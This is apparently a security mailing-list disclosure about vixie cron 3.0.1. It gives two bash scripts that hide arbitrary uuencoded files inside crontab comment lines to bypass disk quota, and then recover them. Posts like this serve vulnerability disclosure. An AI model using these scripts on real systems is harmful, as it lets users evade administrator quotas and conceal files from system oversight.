vixie cron 3.0.1 continued

[lcamtuf () BOSS STASZIC WAW PL (Micha? Zalewski)]

The problem with vixie cron is wider (and more funny) than I expected.
Here's my proggy which allows hiding files of any kind and size into
crontab entries (remember, quota is ignored ;-):

-- cron_put --
#!/bin/bash

echo "Vixie cron 3.0.1 file storage - put utlility"
echo "by Michal Zalewski <lcamtuf () staszic waw pl>"
echo

if [ "$1" = "" ]; then
  echo usage: $0 file_to_hide
  echo
  exit 0
fi

if [ ! "`ulimit`" = "unlimited" ]; then
  echo Warning, filesize limit is set to `ulimit`.
  echo
fi

echo Installing fake crontab...
echo
echo "* * * * * # whoops..." >vix_tmp
uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp
crontab vix_tmp
echo "Thank you, file stored successfully."
-- eof --

The next program allows futher extraction of these files:

-- cron_get --
#!/bin/bash

echo "Vixie cron 3.0.1 file storage - get utility"
echo "by Michal Zalewski <lcamtuf () staszic waw pl>"
echo

if [ ! "`ulimit`" = "unlimited" ]; then
  echo Warning, filesize limit is set to `ulimit`.
  echo
fi

crontab -l | grep "#FAKE" | awk -F "#FAKE" '{print $2}'|uudecode
echo "File restored successfully."
-- eof --
